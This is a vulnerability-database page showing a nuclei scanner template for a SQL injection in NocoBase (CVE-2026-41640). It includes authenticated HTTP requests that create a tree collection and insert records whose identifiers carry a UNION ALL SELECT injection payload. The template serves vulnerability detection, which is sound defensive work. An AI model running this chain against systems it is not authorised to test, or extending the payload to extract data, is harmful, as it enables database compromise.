Lucene search
K

NocoBase - SQL Injection

🗓️ 05 Jul 2026 03:01:21Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 33 Views

NocoBase prior to 2.0.39 has a structured query language injection in eager-loading-tree.ts via string keys in WHERE IN, enabling full DB compromise by an authenticated attacker.

Related
Refs
Code
id: CVE-2026-41640

info:
  name: NocoBase - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    NocoBase versions prior to 2.0.39 contain a SQL injection vulnerability in the @nocobase/database package. The queryParentSQL function in eager-loading-tree.ts constructs a recursive CTE query by directly concatenating user-controlled primary key values into the SQL WHERE IN clause without parameterization. An authenticated attacker with record creation permissions on a tree collection with string-type primary keys can inject arbitrary SQL via crafted record identifiers, enabling full database compromise including data exfiltration and modification.
  remediation:
    Upgrade NocoBase to version 2.0.39 or later which uses parameterized bind variables instead of string concatenation in recursive eager loading queries.
  reference:
    - https://github.com/advisories/GHSA-4948-f92q-f432
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41640
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2026-41640
    epss-score: 0.01875
    epss-percentile: 0.7686
    cwe-id: CWE-89
  metadata:
    max-request: 7
    verified: true
    vendor: nocobase
    product: nocobase
  tags: cve,cve2026,sqli,nocobase,sqli,authenticated

flow: http(1) && http(2) && http(3) || http(4)

variables:
  cname: "{{to_lower(rand_base(8))}}"

http:
  - raw:
      - |
        POST /api/auth:signIn HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"account":"{{username}}","password":"{{password}}"}

    extractors:
      - type: regex
        name: token
        part: body
        internal: true
        regex:
          - '"token":"([^"]+)"'
        group: 1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/collections:create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"name":"{{cname}}","tree":"adjacencyList","fields":[{"name":"id","type":"string","primaryKey":true,"interface":"input"},{"name":"title","type":"string","interface":"input"},{"name":"parent","type":"belongsTo","target":"{{cname}}","foreignKey":"parentId","targetKey":"id","treeParent":true},{"name":"children","type":"hasMany","target":"{{cname}}","foreignKey":"parentId","sourceKey":"id","treeChildren":true}]}

      - |
        POST /api/{{cname}}:create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"id":"safe_root","title":"Root Node"}

      - |
        POST /api/{{cname}}:create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"id":"safe_root') UNION ALL SELECT CAST(version() AS integer)::text, NULL::text WHERE ('1'='1","title":"injection","parentId":"safe_root"}

      - |
        POST /api/{{cname}}:create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"id":"leaf_node","title":"leaf","parentId":"safe_root') UNION ALL SELECT CAST(version() AS integer)::text, NULL::text WHERE ('1'='1"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        GET /api/{{cname}}:list?appends[]=parent(recursively%3Dtrue)&pageSize=100 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(body, "invalid input syntax for type integer")'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/api/app:getInfo"

    extractors:
      - type: regex
        name: version
        part: body
        regex:
          - '"version":"(.*?)"'
        group: 1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"dialect\"", "\"version\"")'
          - 'compare_versions(version, "<=2.0.32")'
        condition: and
# digest: 4b0a00483046022100b459ffc33248125f9ad052e0336946f5b1e48886e0cc0827a67a8b94f0dc3d2f022100dcd62a983403164b898a093523675482d5b6ba5217271ae16723f9507535adbe:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Apr 2026 09:30Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.17.5 - 8.8
EPSS0.01875
SSVC
33